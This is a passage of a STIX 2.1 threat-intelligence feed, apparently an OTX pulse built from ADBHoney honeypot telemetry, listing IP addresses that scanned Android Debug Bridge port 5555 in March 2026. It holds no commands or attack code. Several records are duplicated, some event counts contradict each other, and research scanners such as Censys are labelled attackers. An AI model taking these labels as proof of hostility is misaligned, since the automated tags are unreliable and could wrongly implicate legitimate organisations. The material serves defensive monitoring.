      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:00:04.000Z",
      "valid_until": "2026-04-13T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-12T03:31:11.000Z",
          "last_seen": "2026-03-12T03:32:27.796Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-12T05:11:11.000Z | last_seen=2026-03-12T05:12:12.338Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--e3570636-82c2-4667-bdcb-45f92aa4faef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '119.203.55.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T06:00:02.000Z",
      "valid_until": "2026-04-13T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-12T05:11:11.000Z",
          "last_seen": "2026-03-12T05:12:12.338Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-12T05:11:11.000Z | last_seen=2026-03-12T05:12:12.338Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--e3570636-82c2-4667-bdcb-45f92aa4faef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '119.203.55.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T06:00:02.000Z",
      "valid_until": "2026-04-13T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-12T05:11:11.000Z",
          "last_seen": "2026-03-12T05:12:12.338Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-12T06:41:44.000Z | last_seen=2026-03-12T06:43:17.727Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--4462cdc4-80d5-474f-a1d7-13c8cbbf59f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.248.133.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T07:00:03.000Z",
      "valid_until": "2026-04-13T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-12T06:41:44.000Z",
          "last_seen": "2026-03-12T06:43:17.727Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-12T06:00:41.000Z | last_seen=2026-03-12T06:01:51.358Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--bc1e0a2b-600b-478b-af09-0800665f06ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T07:00:03.000Z",
      "valid_until": "2026-04-13T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-12T06:00:41.000Z",
          "last_seen": "2026-03-12T06:01:51.358Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-12T06:41:44.000Z | last_seen=2026-03-12T06:43:17.727Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--4462cdc4-80d5-474f-a1d7-13c8cbbf59f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.248.133.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T07:00:03.000Z",
      "valid_until": "2026-04-13T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-12T06:41:44.000Z",
          "last_seen": "2026-03-12T06:43:17.727Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-12T06:00:41.000Z | last_seen=2026-03-12T06:01:51.358Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--bc1e0a2b-600b-478b-af09-0800665f06ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T07:00:03.000Z",
      "valid_until": "2026-04-13T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-12T06:00:41.000Z",
          "last_seen": "2026-03-12T06:01:51.358Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-12T07:39:46.000Z | last_seen=2026-03-12T07:41:22.321Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--c9dbfec5-efc2-4e38-9aea-2e2fd6a0f774",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.134.65.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:00:04.000Z",
      "valid_until": "2026-04-13T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-12T07:39:46.000Z",
          "last_seen": "2026-03-12T07:41:22.321Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-12T07:56:11.000Z | last_seen=2026-03-12T08:07:45.954Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--d2826e6e-ecbf-4023-8121-ebc06ce1820d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:00:04.000Z",
      "valid_until": "2026-04-13T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-12T07:56:11.000Z",
          "last_seen": "2026-03-12T08:07:45.954Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-12T07:39:46.000Z | last_seen=2026-03-12T07:41:22.321Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--c9dbfec5-efc2-4e38-9aea-2e2fd6a0f774",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.134.65.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:00:04.000Z",
      "valid_until": "2026-04-13T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-12T07:39:46.000Z",
          "last_seen": "2026-03-12T07:41:22.321Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-12T07:56:11.000Z | last_seen=2026-03-12T08:07:45.954Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--d2826e6e-ecbf-4023-8121-ebc06ce1820d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T08:00:04.000Z",
      "valid_until": "2026-04-13T08:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-12T07:56:11.000Z",
          "last_seen": "2026-03-12T08:07:45.954Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-12T12:44:38.000Z | last_seen=2026-03-12T12:54:47.905Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--cb5c86cc-71b1-473c-bd31-df0ccd806634",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.222.201.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:00:02.000Z",
      "valid_until": "2026-04-13T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-12T12:44:38.000Z",
          "last_seen": "2026-03-12T12:54:47.905Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56040; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-12T12:02:34.000Z | last_seen=2026-03-12T12:03:37.400Z | ports=5555 | cc=CN | asn=56040 | org=China Mobile communications corporation",
      "id": "indicator--7b5a38dc-e831-439a-ba90-be16ea0e30bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.104.83.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:00:02.000Z",
      "valid_until": "2026-04-13T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-12T12:02:34.000Z",
          "last_seen": "2026-03-12T12:03:37.400Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56040"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-12T12:44:38.000Z | last_seen=2026-03-12T12:54:47.905Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--cb5c86cc-71b1-473c-bd31-df0ccd806634",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.222.201.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:00:02.000Z",
      "valid_until": "2026-04-13T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-12T12:44:38.000Z",
          "last_seen": "2026-03-12T12:54:47.905Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56040; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-12T12:02:34.000Z | last_seen=2026-03-12T12:03:37.400Z | ports=5555 | cc=CN | asn=56040 | org=China Mobile communications corporation",
      "id": "indicator--7b5a38dc-e831-439a-ba90-be16ea0e30bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.104.83.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T13:00:02.000Z",
      "valid_until": "2026-04-13T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-12T12:02:34.000Z",
          "last_seen": "2026-03-12T12:03:37.400Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56040"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-12T13:52:34.000Z | last_seen=2026-03-12T14:03:18.738Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7f4dc85d-7a59-4290-bae1-fb43b5a1f9e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.106.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:00:02.000Z",
      "valid_until": "2026-04-13T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-12T13:52:34.000Z",
          "last_seen": "2026-03-12T14:03:18.738Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-12T13:02:56.000Z | last_seen=2026-03-12T13:03:58.396Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--062bfd73-c9a0-4a9e-9809-42410d717443",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T14:00:02.000Z",
      "valid_until": "2026-04-13T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-12T13:02:56.000Z",
          "last_seen": "2026-03-12T13:03:58.396Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
